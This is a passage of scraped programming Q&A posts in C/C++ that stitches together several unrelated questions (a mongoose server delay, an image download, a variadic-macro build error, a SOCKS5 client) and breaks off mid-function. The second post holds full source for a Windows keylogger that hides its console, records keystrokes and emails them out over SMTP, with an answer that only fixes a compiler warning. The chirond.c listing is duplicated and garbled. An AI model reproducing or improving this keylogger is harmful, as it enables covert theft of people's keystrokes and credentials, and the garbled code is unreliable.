mongoose web response delay - c++

I am new to mongoose web server. I am developing a simple http server which returning a image in response, everything works fine. But when requesting from browser, irrespect to the file size, it takes exactly 1000 milliseconds to reach the web server event handler.
Is there any configuration to change this delay.
static const char *s_http_port = "8089";
static struct mg_serve_http_opts s_http_serve_opts;
static void send_file(struct mg_connection *nc){
char buf[1024];
int n;
FILE *fp;
const char *file_path = "C:\\sample.jpg";
fp = fopen(file_path, "rb");
if(fp == NULL){
printf("Error, file %s not found.", file_path);
}
char *mimeType = "image/jpg";
fseek(fp, 0L, SEEK_END);
long sz = ftell(fp) + 2;
fseek(fp, 0L, SEEK_SET);
mg_printf(nc,
"HTTP/1.1 200 OK\r\n"
"Cache: no-cache\r\n"
"Content-Type: %s\r\n"
"Content-Length: %d\r\n"
"\r\n",
mimeType,
sz);
while((n = fread(buf, 1, sizeof(buf), fp)) > 0) {
mg_send(nc, buf, n);
}
fclose(fp);
mg_send(nc, "\r\n", 2);
nc->flags |= MG_F_SEND_AND_CLOSE;
}
static void ev_handler(struct mg_connection *nc, int ev, void *ev_data){
struct http_message *hm = (struct http_message *)ev_data;
switch(ev)
{
case MG_EV_HTTP_REQUEST:
{
if(mg_vcmp(&hm->uri, "/hello") == 0){
handle_recv(nc);
} else if(mg_vcmp(&hm->uri, "/img") == 0){
send_file(nc);
} else {
mg_serve_http(nc, (struct http_message *) ev_data, s_http_serve_opts);
}
}
break;
case MG_EV_RECV:
break;
case MG_EV_CLOSE:
break;
}
}
int main(void)
{
struct mg_mgr mgr;
struct mg_connection *nc;
mg_mgr_init(&mgr, NULL);
nc = mg_bind(&mgr, s_http_port, ev_handler);
mg_set_protocol_http_websocket(nc);
s_http_serve_opts.document_root = "./images";
s_http_serve_opts.dav_document_root = "./images";
s_http_serve_opts.enable_directory_listing = "yes";
printf("Starting web server on port %s\n", s_http_port);
for(;;) {
mg_mgr_poll(&mgr, 500);
}
mg_mgr_free(&mgr);
return 0;
}

Related

Greetings, I have a syntax problem in my code. Can you help me?

I have a code made in c ++ however I am using an IDE called DEV-C ++ and it presents a compilation error:
[Warning] deprecated conversion from string constant to 'char*' [-Wwrite-strings]
The error points to the condition inside the if: savePressedKey.
if(pressedKey) {
savePressedKey(pressedKey, FILE_NAME);
now = clock();
}
My code is below and also by the link: https://godbolt.org/z/zqgCzS
#include <stdio.h>
#include <windows.h>
#include <time.h>
#define INVISIBLE_CONSOLE 0
#define SILENT_CONSOLE 0
#define LISTENER_TIMER 5
#define SENDER_SLEEP_TIME 100
#define FILE_NAME "MarcadorLog.txt"
#define GMAIL_SERVER "gmail-smtp-in.l.google.com"
#define EMAIL_FROM "teste#gmail.com"
#define EMAIL_TO "teste#gmail.com"
void verifyStealthMode();
void savePressedKey(char pressedKey, char fileName[]);
int getPressedKeyBetweenASCII(int ASCIIValue1, int ASCIIValue2);
int getFileLength(char fileName[]);
char *getBufferFromFile(char fileName[]);
void overrideFile(char fileName[]);
void sendData(SOCKET socket, char data[]);
void sendEmail(char server[], char from[], char to[], char buffer[]);
void verifyStealthMode() {
if(INVISIBLE_CONSOLE) {
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth, 0);
}
}
void savePressedKey(char pressedKey, char fileName[]) {
FILE *file = fopen(fileName, "a+");
fputc(pressedKey, file);
fclose(file);
}
int getPressedKeyBetweenASCII(int ASCIIValue1, int ASCIIValue2) {
int pressedKey = 0;
for(int character = ASCIIValue1; character <= ASCIIValue2; character++) {
if(GetAsyncKeyState(character) == -32767) {
pressedKey = character;
}
}
return pressedKey;
}
int getFileLength(char fileName[]) {
FILE *file = fopen(fileName, "rb");
fseek(file, 0, SEEK_END);
int fileLength = ftell(file);
fclose(file);
return fileLength;
}
char *getBufferFromFile(char fileName[]) {
FILE *file = fopen(fileName, "rb");
int fileLength = getFileLength(fileName);
char *buffer = (char *) malloc(fileLength + 1);
fread(buffer, sizeof(char), fileLength, file);
buffer[fileLength] = '\0';
fclose(file);
return buffer;
}
void overrideFile(char fileName[]) {
FILE *file = fopen(fileName, "w");
fclose(file);
}
int main() {
verifyStealthMode();
clock_t timer;
clock_t now = clock();
while(1) {
int pressedKey = getPressedKeyBetweenASCII(8, 255);
if(pressedKey) {
savePressedKey(pressedKey, FILE_NAME);
now = clock();
}
timer = (clock() - now) / CLOCKS_PER_SEC;
if(timer > LISTENER_TIMER) {
int fileLength = getFileLength(FILE_NAME);
if(fileLength > 0) {
sendEmail(GMAIL_SERVER, EMAIL_FROM, EMAIL_TO, getBufferFromFile(FILE_NAME));
overrideFile(FILE_NAME);
}
now = clock();
} else if(!SILENT_CONSOLE) {
system("cls");
printf("Lendo...");
printf("\nTime para novo envio: %ld\n\n", (LISTENER_TIMER - timer));
}
}
return 0;
}
void sendData(SOCKET sock, char data[]) {
send(sock, data, strlen(data), 0);
Sleep(SENDER_SLEEP_TIME);
if(!SILENT_CONSOLE) printf("\n%s", data);
}
void sendEmail(char server[], char from[], char to[], char buffer[]) {
SOCKET sock;
WSADATA wsaData;
struct hostent *host;
struct sockaddr_in dest;
char data[3000];
// Get socket and dest:
WSAStartup(0x202, &wsaData);
host = gethostbyname(server);
memset(&dest, 0, sizeof(dest));
memcpy(&(dest.sin_addr), host->h_addr, host->h_length);
dest.sin_family = host->h_addrtype;
dest.sin_port = htons(25);
sock = socket(AF_INET, SOCK_STREAM, 0);
connect(sock, (struct sockaddr *) &dest, sizeof(dest));
Sleep(SENDER_SLEEP_TIME);
sprintf(data, "Ola me.somepalace.com\n");
sendData(sock, data);
sprintf(data, "Email de: <%s>\n", from);
sendData(sock, data);
sprintf(data, "recebido por: <%s>\n", to);
sendData(sock, data);
sprintf(data, "DATA\n");
sendData(sock, data);
sprintf(data, "para: %s\nFROM: %s\nSUBJECT: Keylogger\n%s\r\n.\r\n", to, from, buffer);
sendData(sock, data);
sprintf(data, "sair\n");
sendData(sock, data);
if(!SILENT_CONSOLE) {
printf("\ntodos os pacotes foram enviados");
Sleep(5000);
system("cls");
}
closesocket(sock);
WSACleanup();
}
This warning means that you are trying to pass a string literal that in C++ (opposite to C) has the type of a constant character array to a function the corresponding parameter of which does not have the qualifier const.
If this function does not change the passed string then it shall be declared like
void savePressedKey(char pressedKey, const char fileName[]);
Otherwise if the function changes the passed string using a string literal as an argument will result in undefined behavior.
Even if the program is a C program nevertheless you should declare the parameter with the qualifier const.

C++ get picture from HTTP response

I'm trying to download picture from website. The problem is that even tho I get all the content from HTTP response body, file won't open. I've been trying to solve this but I can't find the real problem. One thing I did notice is that picture downloaded using chromium displays different characters than picture downloaded from my code using command:
$ cat picture.png | less
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fstream>
#include <iostream>
using std::cout;
using std::endl;
//with this function I remove HTTP header info, so I only get content.
char *removeHTTPHeader(char *buffer) {
char *t = strstr(buffer, "\r\n\r\n");
t = t + 4;
return t;
}
void getPicture(const int &socketfd, const int &bSize) {
std::ofstream file("picture.png",
std::ofstream::binary | std::ofstream::out);
char buffer[bSize];
ssize_t bReceived;
bReceived = recv(socketfd, buffer, bSize, 0);
char *t = removeHTTPHeader(buffer);
file.write(t, strlen(t));
memset(buffer, 0, bSize);
while ((bReceived = recv(socketfd, buffer, bSize, 0)) > 0) {
file.write(buffer, bReceived);
memset(buffer, 0, bSize);
}
file.close();
}
int main() {
int status;
addrinfo host_info;
addrinfo *host_info_list;
memset(&host_info, 0, sizeof(host_info));
host_info.ai_family = AF_UNSPEC;
host_info.ai_socktype = SOCK_STREAM;
host_info.ai_protocol = 0;
status = getaddrinfo("www.pngimg.com", "80", &host_info, &host_info_list);
if (status != 0) {
cout << "getaddrinfo error" << endl;
}
int socketfd;
socketfd = socket(host_info_list->ai_family, host_info_list->ai_socktype,
host_info_list->ai_protocol);
addrinfo *rp;
for (rp = host_info_list; rp != NULL; rp = rp->ai_next) {
socketfd = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);
if (socketfd == -1) {
cout << "socket error" << endl;
}
if (connect(socketfd, rp->ai_addr, rp->ai_addrlen) != -1) {
break;
}
close(socketfd);
}
if (rp == NULL) {
cout << "Could not connect!" << endl;
exit(EXIT_FAILURE);
}
freeaddrinfo(host_info_list);
const char *msg =
"GET /upload/water_PNG3290.png HTTP/1.1\r\nhost: www.pngimg.com\r\nConnection: close\r\n\r\n";
status = send(socketfd, msg, strlen(msg), 0);
if (status == -1) {
cout << "error sending" << endl;
exit(EXIT_FAILURE);
}
getPicture(socketfd, 1024);
close(socketfd);
return 0;
}
Here is picture from using cat command:
terminal above is picture from my code, below is picture from chromium "save as"
Problem was that I didn't know that in C style string you can't do strlen on binary data. That's why I had to add counter in function removeHTTPHeader. Below are function getPicture and removeHTTPHeader that I've changed.
char *removeHTTPHeader(char *buffer, int &bodySize) {
char *t = strstr(buffer, "\r\n\r\n");
t = t + 4;
for (auto it = buffer; it != t; ++it) {
++bodySize;
}
return t;
}
void getPicture(const int &socketfd, const int &bSize) {
std::ofstream file("picture.png",
std::ofstream::binary | std::ofstream::out);
char buffer[bSize];
ssize_t bReceived;
bReceived = recv(socketfd, buffer, bSize, 0);
int bodySize = 0;
char *t = removeHTTPHeader(buffer, bodySize);
bodySize = bReceived - bodySize;
file.write(t, bodySize);
memset(buffer, 0, bSize);
while ((bReceived = recv(socketfd, buffer, bSize, 0)) > 0) {
file.write(buffer, bReceived);
memset(buffer, 0, bSize);
}
file.close();
}

On make make install, building application getting ISO c does not permit named variadic

/.configure, make and make install
This is code for status.h
#define DEBUG(level, args...) debug(level, __location__, __FUNCTION__, args)
typedef enum {
ST_OK = 0,
ST_GENERAL_FAILURE = 1,
ST_NO_SUCH_OBJECT = 2,
ST_READ_ERROR = 3,
ST_WRITE_ERROR = 4,
ST_PARSE_ERROR = 5,
ST_LOG_ERR = 117,
ST_DATABASE_FAILURE = 118,
ST_BIND_FAILURE = 119,
ST_SOCKET_FAILURE = 120,
ST_CONFIGURATION_ERROR = 121,
ST_ASSERTION_FAILED = 122,
ST_NOT_IMPLEMENTED = 123,
ST_OUT_OF_MEMORY = 124,
} STATUS;
#define NO_MEM_RETURN(ptr) {if (ptr == NULL) { DEBUG(0, "Out of memory"); return ST_OUT_OF_MEMORY; }}
#define NO_MEM_RETURN_RV(ptr, rv) {if (ptr == NULL) { DEBUG(0, "Out of memory"); return rv; }}
STATUS debug(int loglevel, const char *location, const char *function, ...);
This is code for code for chirond.c and currently running on gcc version 4.7.2 (Debian 4.7.2-5)
#include "includes.h"
#include "build/ndr_chiron.h"
#include "build/chiron.h"
#include <nettle/md5.h>
#include <nettle/arcfour.h>
#define CHIRON_PORT "53165"
struct chiron_context {
int clientfd;
struct sockaddr *clientaddr;
char *account_code;
char *device_id;
uint8_t md5_last_out[0x10];
uint8_t rc4key[0x10];
};
/* FIXME This function is a nasty little hack. */
char *ndr_print_chiron_msg_type_enum(TALLOC_CTX *mem_ctx, enum chiron_msg_type msg_type) {
char *ret;
struct ndr_print *ndr_print = talloc_zero(mem_ctx, struct ndr_print);
ndr_print->print = ndr_print_string_helper;
ndr_print->depth = 0;
ndr_print_chiron_msg_type(ndr_print, "", msg_type);
ret = talloc_steal(mem_ctx, ndr_print->private_data);
talloc_free(ndr_print);
return ret;
}
STATUS handle_chiron_msg_response(struct chiron_context *ctx, struct chiron_message *msg) {
#if 0 // TLV, move to ASN.1 parsing
DATA_BLOB crypted, decrypted;
enum ndr_err_code ndr_err;
struct chiron_msg_inner_response *inner_response;
struct arcfour_ctx rc4;
char *deviceid_string;
if (memcmp(msg->msg.response.md5_check, ctx->md5_last_out, 0x10)) {
DEBUG(0, "MD5 does not match!\n");
return ST_PARSE_ERROR;
}
DEBUG(0, "Handling the response");
inner_response = talloc(msg, struct chiron_msg_inner_response);
NO_MEM_RETURN(inner_response);
/* Copy packet to crypted data blob */
crypted.length = msg->msg.response.length - MD5_HASH_LEN;
crypted.data = talloc_memdup(msg, msg->msg.response.payload, crypted.length);
NO_MEM_RETURN(crypted.data);
decrypted.data = talloc_array(msg, uint8_t, crypted.length);
NO_MEM_RETURN(decrypted.data);
decrypted.length = crypted.length;
arcfour_set_key(&rc4, MD5_HASH_LEN, ctx->rc4key);
arcfour_crypt(&rc4, crypted.length, decrypted.data, crypted.data);
/* Parse the packet */
ndr_err = ndr_pull_struct_blob_all(&decrypted, inner_response, inner_response, (ndr_pull_flags_fn_t)ndr_pull_chiron_msg_inner_response);
if (ndr_err != NDR_ERR_SUCCESS) {
DEBUG(0, "Could not parse the inner response");
return ST_PARSE_ERROR;
}
STATUS handle_chiron_msg_response(struct chiron_context *ctx, struct chiron_message *msg) {
#if 0 // TLV, move to ASN.1 parsing
DATA_BLOB crypted, decrypted;
enum ndr_err_code ndr_err;
struct chiron_msg_inner_response *inner_response;
struct arcfour_ctx rc4;
char *deviceid_string;
if (memcmp(msg->msg.response.md5_check, ctx->md5_last_out, 0x10)) {
DEBUG(0, "MD5 does not match!\n");
return ST_PARSE_ERROR;
}
DEBUG(0, "Handling the response");
inner_response = talloc(msg, struct chiron_msg_inner_response);
NO_MEM_RETURN(inner_response);
/* Copy packet to crypted data blob */
crypted.length = msg->msg.response.length - MD5_HASH_LEN;
crypted.data = talloc_memdup(msg, msg->msg.response.payload, crypted.length);
NO_MEM_RETURN(crypted.data);
decrypted.data = talloc_array(msg, uint8_t, crypted.length);
NO_MEM_RETURN(decrypted.data);
decrypted.length = crypted.length;
arcfour_set_key(&rc4, MD5_HASH_LEN, ctx->rc4key);
arcfour_crypt(&rc4, crypted.length, decrypted.data, crypted.data);
/* Parse the packet */
ndr_err = ndr_pull_struct_blob_all(&decrypted, inner_response, inner_response, (ndr_pull_flags_fn_t)ndr_pull_chiron_msg_inner_response);
if (ndr_err != NDR_ERR_SUCCESS) {
DEBUG(0, "Could not parse the inner response");
return ST_PARSE_ERROR;
}
DEBUG(0, "%s", ndr_print_struct_string(msg,(ndr_print_fn_t)ndr_print_chiron_msg_inner_response, "chiron payload", inner_response));
deviceid_string = talloc_zero_array(msg, char, inner_response->dev_len + 1);
memcpy(deviceid_string, inner_response->deviceid, inner_response->dev_len);
DEBUG(0, "Remote device: %s", deviceid_string);
#endif
//send_chiron_msg_key
return ST_OK;
}
STATUS send_chiron_msg_challenge(struct chiron_context *ctx, struct chiron_message *in) {
struct chiron_message *out = talloc_zero(in, struct chiron_message);
struct md5_ctx md5;
uint8_t *md5input;
enum ndr_err_code ndr_err;
DATA_BLOB raw_out;
NO_MEM_RETURN(out);
DEBUG(0, "Sending out a challenge");
out->msg_type = CHIRON_CHALLENGE;
out->seq = in->seq;
out->flags = in->flags;
/* Make an md5 hash of the account code with the seq byte appended. */
md5input = talloc_array(in, uint8_t, in->msg.account.length + 1);
NO_MEM_RETURN(md5input);
memcpy(md5input, in->msg.account.account_code, in->msg.account.length);
md5input[in->msg.account.length] = in->seq;
out->msg.challenge.md5_check = talloc_array(out, uint8_t, MD5_HASH_LEN);
NO_MEM_RETURN(out->msg.challenge.md5_check);
md5_init(&md5);
md5_update(&md5, in->msg.account.length + 1, md5input);
md5_digest(&md5, MD5_HASH_LEN, out->msg.challenge.md5_check);
talloc_free(md5input);
/* FIXME This should be random, but that is annoying for testing purposes */
out->msg.challenge.length = MD5_HASH_LEN + CHALLENGE_LEN;
out->msg.challenge.challenge = talloc_zero_array(out, uint8_t, CHALLENGE_LEN);
NO_MEM_RETURN(out->msg.challenge.challenge);
out->msg.challenge.challenge[0] = 0xd0;
out->msg.challenge.challenge[1] = 0x8b;
out->msg.challenge.challenge[2] = 0x29;
out->msg.challenge.challenge[3] = 0xd3;
out->msg.challenge.challenge[4] = 0x7c;
out->msg.challenge.challenge[5] = 0xfd;
out->msg.challenge.challenge[6] = 0xb5;
out->msg.challenge.challenge[7] = 0xc6;
out->msg.challenge.challenge[8] = 0x1e;
ndr_err = ndr_push_struct_blob(&raw_out, out, out, (ndr_push_flags_fn_t)ndr_push_chiron_message);
if (ndr_err != NDR_ERR_SUCCESS) {
DEBUG(0, "Error writing NDR data blob.");
return ST_WRITE_ERROR;
}
/* Update the md5 check for the next message (last 9 bytes with the seq byte appended). */
md5input = talloc_array(in, uint8_t, CHALLENGE_LEN + 1);
NO_MEM_RETURN(md5input);
memcpy(md5input, &raw_out.data[MSG_HDR_LEN + MD5_HASH_LEN], CHALLENGE_LEN);
md5input[CHALLENGE_LEN] = in->seq;
md5_init(&md5);
md5_update(&md5, CHALLENGE_LEN + 1, md5input);
md5_digest(&md5, MD5_HASH_LEN, ctx->md5_last_out);
/* Update the rc4 crypto key, which is seq+challenge */
md5input[0] = in->seq;
memcpy(&md5input[1], &raw_out.data[MSG_HDR_LEN + MD5_HASH_LEN], CHALLENGE_LEN);
md5_init(&md5);
md5_update(&md5, CHALLENGE_LEN + 1, md5input);
md5_digest(&md5, MD5_HASH_LEN, ctx->rc4key);
DEBUG(0, "The expected md5sum for the next entry is %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x",
ctx->md5_last_out[0], ctx->md5_last_out[1], ctx->md5_last_out[2], ctx->md5_last_out[3],
ctx->md5_last_out[4], ctx->md5_last_out[5], ctx->md5_last_out[6], ctx->md5_last_out[9],
ctx->md5_last_out[8], ctx->md5_last_out[9], ctx->md5_last_out[10], ctx->md5_last_out[11],
ctx->md5_last_out[12], ctx->md5_last_out[13], ctx->md5_last_out[14], ctx->md5_last_out[15]);
write(ctx->clientfd, raw_out.data, raw_out.length);
talloc_free(out);
return ST_OK;
}
STATUS handle_chiron_msg_account(struct chiron_context *ctx, struct chiron_message *msg) {
ctx->account_code = talloc_memdup(msg, msg->msg.account.account_code, msg->msg.account.length);
NO_MEM_RETURN(ctx->account_code);
send_chiron_msg_challenge(ctx, msg);
return ST_OK;
}
STATUS handle_connection(struct chiron_context *ctx) {
int n;
struct chiron_message *msg;
enum ndr_err_code ndr_err;
char buf[1024]; /* Purposefully static length */
DATA_BLOB data;
STATUS status;
DEBUG(0, "The expected md5sum for the next entry is %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x",
ctx->md5_last_out[0], ctx->md5_last_out[1], ctx->md5_last_out[2], ctx->md5_last_out[3],
ctx->md5_last_out[4], ctx->md5_last_out[5], ctx->md5_last_out[6], ctx->md5_last_out[9],
ctx->md5_last_out[8], ctx->md5_last_out[9], ctx->md5_last_out[10], ctx->md5_last_out[11],
ctx->md5_last_out[12], ctx->md5_last_out[13], ctx->md5_last_out[14], ctx->md5_last_out[15]);
write(ctx->clientfd, raw_out.data, raw_out.length);
talloc_free(out);
return ST_OK;
}
STATUS handle_chiron_msg_account(struct chiron_context *ctx, struct chiron_message *msg) {
ctx->account_code = talloc_memdup(msg, msg->msg.account.account_code, msg->msg.account.length);
NO_MEM_RETURN(ctx->account_code);
send_chiron_msg_challenge(ctx, msg);
return ST_OK;
}
STATUS handle_connection(struct chiron_context *ctx) {
int n;
struct chiron_message *msg;
enum ndr_err_code ndr_err;
char buf[1024]; /* Purposefully static length */
DATA_BLOB data;
STATUS status;
while ((n = read(ctx->clientfd, buf, sizeof(buf)))) {
if (n < 0) {
DEBUG( 0, "Error when storing packet in buffer!");
return ST_PARSE_ERROR;
} else if (n == sizeof(buf)) {
DEBUG(0, "Maximum packet size exceeded!");
return ST_PARSE_ERROR;
}
msg = talloc(ctx, struct chiron_message);
NO_MEM_RETURN(msg);
/* Copy packet to data blob */
data.length = n;
data.data = talloc_memdup(msg, buf, n);
NO_MEM_RETURN(data.data);
/* Parse the packet */
ndr_err = ndr_pull_struct_blob_all(&data, msg, msg, (ndr_pull_flags_fn_t)ndr_pull_chiron_message);
if (ndr_err != NDR_ERR_SUCCESS) {
DEBUG(0, "Could not parse this message");
return ST_PARSE_ERROR;
}
DEBUG(0, "%s", ndr_print_struct_string(msg,(ndr_print_fn_t)ndr_print_chiron_message, "chiron message", msg));
switch (msg->msg_type) {
case CHIRON_ACCOUNT:
status = handle_chiron_msg_account(ctx, msg);
break;
case CHIRON_RESPONSE:
status = handle_chiron_msg_response(ctx, msg);
break;
default:
DEBUG(0, "Got unexpected message type: %s.",
ndr_print_chiron_msg_type_enum(msg, msg->msg_type));
break;
}
if (status != ST_OK) {
return status;
}
talloc_free(msg);
}
return ST_OK;
}
static STATUS daemonize(char *pid_file) {
FILE *pidfile;
pid_t pid;
fclose(stdin);
fclose(stdout);
fclose(stderr);
if ((pid = fork())) {
/* Write PID file */
pidfile = fopen(pid_file, "w");
if (pidfile < 0)
exit(1);
fprintf(pidfile, "%d\n", pid);
fclose(pidfile);
exit(0);
}
return ST_OK;
}
static STATUS listen_server(TALLOC_CTX *mem_ctx, const char *bindaddr, const char *bindport, const char *protocol, STATUS (*dispatcher)(struct chiron_context *)) {
int sock;
socklen_t clientlen;
struct addrinfo hints, *server, *first_server;
memset(&hints, 0, sizeof(struct addrinfo));
hints.ai_flags = AI_PASSIVE;
getaddrinfo(bindaddr, bindport, &hints, &server);
first_server = server;
while (server) {
sock = socket(server->ai_family, SOCK_STREAM, 0);
if (sock >= 0) {
int optval = 1;
setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));
if (bind(sock, server->ai_addr, server->ai_addrlen) < 0) {
close(sock);
sock = -1;
} else {
{
break;
}
}
server = server->ai_next;
}
if (sock < 0) {
DEBUG(0, "Could not create socket in server");
return ST_SOCKET_FAILURE;
}
listen(sock, 128);
freeaddrinfo(first_server);
DEBUG(0, "Started %s and waiting for Chiron messages on port %s",
get_process_name(), CHIRON_PORT);
/*
* Wait for connections
*/
clientlen = sizeof(struct addrinfo);
while (1) {
int clientfd;
struct sockaddr_storage clientaddr;
char clienthost[NI_MAXHOST];
char clientservice[NI_MAXSERV];
clientfd = accept(sock, (struct sockaddr *)&clientaddr, &clientlen);
getnameinfo((struct sockaddr *)&clientaddr, clientlen,
clienthost, sizeof(clienthost),
clientservice, sizeof(clientservice),
NI_NUMERICHOST | NI_NUMERICSERV);
DEBUG(3, "Received connection from %s:%s", clienthost, clientservice);
//if (fork()) {
// continue;
//} else {
{
struct chiron_context *client_ctx = talloc_zero(mem_ctx, struct chiron_context);
NO_MEM_RETURN(client_ctx);
client_ctx->clientaddr = (struct sockaddr *)&clientaddr;
client_ctx->clientfd = clientfd;
dispatcher(client_ctx);
shutdown(client_ctx->clientfd, SHUT_RDWR);
close(client_ctx->clientfd);
talloc_free(client_ctx);
exit(0);
}
}
shutdown(sock, SHUT_RDWR);
close(sock);
}
int main (int argc, char **argv) {
TALLOC_CTX *mem_ctx;
STATUS rv;
const configuration *conf;
set_process_name(argv[0]);
/* Initialize a memory context */
mem_ctx = talloc_init("chirond");
/* Read the configuration file */
rv = read_configuration_file(mem_ctx);
if (rv != ST_OK)
return rv;
conf = get_conf();
/* Daemonize if we're not supposed to run in foreground mode */
if (!conf->foreground) {
daemonize(conf->pid_file);
}
/*
* Open up a TCP socket the Chiron port
*/
listen_server(mem_ctx, "::", CHIRON_PORT, "tcp", handle_connection);
return 0;
}
getting error on make, ISO c does not permit named variadic macros on ubutnu
In file included from ../includes.h:43:0,
from ../chirond.c:18:
../status.h:19:26: error: ISO C does not permit named variadic macros [-Werror=variadic-macros]
Have to upgrade GCC to 4.9 and if you are to lower version using follow instructions on this page.
[https://solarianprogrammer.com/2015/01/13/raspberry-pi-raspbian-install-gcc-compile-cpp-14-programs/][1]
put this lines to avoid warnings
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wvariadic-macros"
// Your code and/or include files
// (No variadic warnings here)
#pragma GCC diagnostic pop
if you have so much warnings remove -werror from CFLAGS. you can able to build.

Send and receive via SOCKS5 c++

I am playing with SOCKS5 proxy ( TOR ). I am able to estabilish connection but now I dont know how to send and receive data to/from destination. Thanks for help. Code:
#include <stdio.h>
#include <WinSock2.h>
#include <stdlib.h>
#pragma comment(lib,"ws2_32.lib")
#define PUT_BYTE(ptr,data) (*(unsigned char*)ptr = data)
int main()
{
WORD wVersionRequested = MAKEWORD(2,0);
WSADATA wsaData;
if(WSAStartup(wVersionRequested,&wsaData) != 0 )
{
return 1;
}
int fd = socket( AF_INET, SOCK_STREAM, 0);
if (fd < 0)
return 1;
struct sockaddr_in destaddr;
destaddr.sin_addr.s_addr = inet_addr("xx.xx.xx.xx");
int dest_port = 80;
struct sockaddr_in saddr;
saddr.sin_port = htons(9150);
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
int rv = connect( fd, (struct sockaddr *)&saddr, sizeof(saddr));
if(rv < SOCKET_ERROR)
return 1;
char buf[256], *ptr;
ptr = buf;
PUT_BYTE( ptr++,5);
PUT_BYTE( ptr++,1);
PUT_BYTE(ptr++,0x00);
send(fd,buf,ptr-buf,0);
recv(fd,buf,2,0);
if ( (buf[0] != 5) || buf[1] == 0xFF )
{
return 1;
}
ptr = buf;
PUT_BYTE(ptr++,5);
PUT_BYTE(ptr++,1);
PUT_BYTE(ptr++,0);
PUT_BYTE(ptr++,1);
memcpy( ptr, &destaddr.sin_addr.s_addr,sizeof(destaddr.sin_addr));
ptr += sizeof(destaddr.sin_addr);
PUT_BYTE(ptr++,dest_port>>8);
PUT_BYTE(ptr++,dest_port&0xFF);
send(fd,buf,ptr-buf,0);
recv(fd,buf,4,0);
if(buf[1] != 0x00)
{
return 1;
}
ptr = buf + 4;
switch ( buf[3] ) {
case 1:
recv( fd, ptr, 4+2,0 );
break;
case 3:
recv( fd, ptr, 1 ,0);
recv( fd, ptr+1, *(unsigned char*)ptr + 2,0);
break;
case 4:
recv( fd, ptr, 16+2,0 );
break;
}
printf("Succes!");
//How to send and receive data now? Now we are connected on port 80 and for example I want to send http get request and receive the answer.
return 0;
}
How to send and receive data now? Now we are connected on port 80 and for example I want to send http get request and receive the answer.
Once you have successfully authenticated with the proxy and told it where to connect to, then you simply send/recv your desired data (in this case, the HTTP data) using the existing connection to the proxy, as if you had connected to the target server directly and not to a proxy. Once the proxy session is established, all subsequent sends/receives are transparent to your app.
Update: You might also want to clean up your code so it is easier to read, fix your existing broken error handling, and add some additional error handling that is missing:
#include <stdio.h>
#include <WinSock2.h>
#include <stdlib.h>
#pragma comment(lib,"ws2_32.lib")
#include <pshpack1.h>
struct socks5_ident_req
{
unsigned char Version;
unsigned char NumberOfMethods;
unsigned char Methods[256];
};
struct socks5_ident_resp
{
unsigned char Version;
unsigned char Method;
};
struct socks5_req
{
unsigned char Version;
unsigned char Cmd;
unsigned char Reserved;
unsigned char AddrType;
union {
in_addr IPv4;
in6_addr IPv6;
struct {
unsigned char DomainLen;
char Domain[256];
};
} DestAddr;
unsigned short DestPort;
};
struct socks5_resp
{
unsigned char Version;
unsigned char Reply;
unsigned char Reserved;
unsigned char AddrType;
union {
in_addr IPv4;
in6_addr IPv6;
struct {
unsigned char DomainLen;
char Domain[256];
};
} BindAddr;
unsigned short BindPort;
};
#include <poppack.h>
bool sendData(SOCKET fd, void *data, int len)
{
char *ptr = (char *) data;
while (len > 0)
{
int sent = send(fd, ptr, len, 0);
if (sent <= 0)
{
printf("send() error: %d", WSAGetLastError());
return false;
}
ptr += sent;
len -= sent;
}
return true;
}
int recvData(SOCKET fd, void *data, int len, bool disconnectOk = false)
{
char *ptr = (char *) data;
int total = 0;
while (len > 0)
{
int recvd = recv(fd, ptr, len, 0);
if (recvd < 0)
{
printf("recv() error: %d", WSAGetLastError());
return -1;
}
if (recvd == 0)
{
if (disconnectOk)
break;
printf("disconnected");
return -1;
}
ptr += recvd;
len -= recvd;
total -= recvd;
}
return total;
}
bool socksLogin(SOCKET fd)
{
socks5_ident_req req;
socks5_ident_req resp;
req.Version = 5;
req.NumberOfMethods = 1;
req.Methods[0] = 0x00;
// add other methods as needed...
if (!sendData(fd, &req, 2+req.NumberOfMethods))
return false;
if (recvData(fd, &resp, sizeof(resp)) == -1)
return false;
if (resp.Version != 5)
{
printf("SOCKS v5 identification failed");
return false;
}
if (resp.Method == 0xFF)
{
printf("SOCKS v5 authentication failed");
return false;
}
/*
if (resp.Method != 0x00)
{
// authenticate as needed...
}
*/
return true;
}
bool socksRequest(SOCKET fd, const socks5_req &req, socks5_resp &resp)
{
memset(&resp, 0, sizeof(resp));
if (!sendData(fd, &req, 4))
return false;
switch (req.AddrType)
{
case 1:
{
if (!sendData(fd, &(req.DestAddr.IPv4), sizeof(in_addr)))
return false;
break;
}
case 3:
{
if (!sendData(fd, &(req.DestAddr.DomainLen), 1))
return false;
if (!sendData(fd, req.DestAddr.Domain, req.DestAddr.DomainLen))
return false;
break;
}
case 4:
{
if (!sendData(fd, &(req.DestAddr.IPv6), sizeof(in6_addr)))
return false;
break;
}
default:
{
printf("SOCKS 5 requesting unknown address type");
return false;
}
}
unsigned short port = htons(req.DestPort);
if (!sendData(fd, &port, 2))
return false;
if (recvData(fd, &resp, 4) == -1)
return false;
switch (resp.AddrType)
{
case 1:
{
if (recvData(fd, &(resp.BindAddr.IPv4), sizeof(in_addr)) == -1)
return false;
break;
}
case 3:
{
if (recvData(fd, &(resp.BindAddr.DomainLen), 1) == -1)
return false;
if (recvData(fd, resp.BindAddr.Domain, resp.BindAddr.DomainLen) == -1)
return false;
break;
}
case 4:
{
if (recvData(fd, &(resp.BindAddr.IPv6), sizeof(in6_addr)) == -1)
return false;
break;
}
default:
{
printf("SOCKS 5 bound to unknown address type");
return false;
}
}
if (recvData(fd, &port, 2, 0) == -1)
return false;
resp.BindPort = ntohs(port);
return true;
}
bool socksConnect(SOCKET fd, const in_addr &dest, unsigned short port)
{
socks5_req req;
socks5_resp resp;
req.Version = 5;
req.Cmd = 1;
req.Reserved = 0;
req.AddrType = 1;
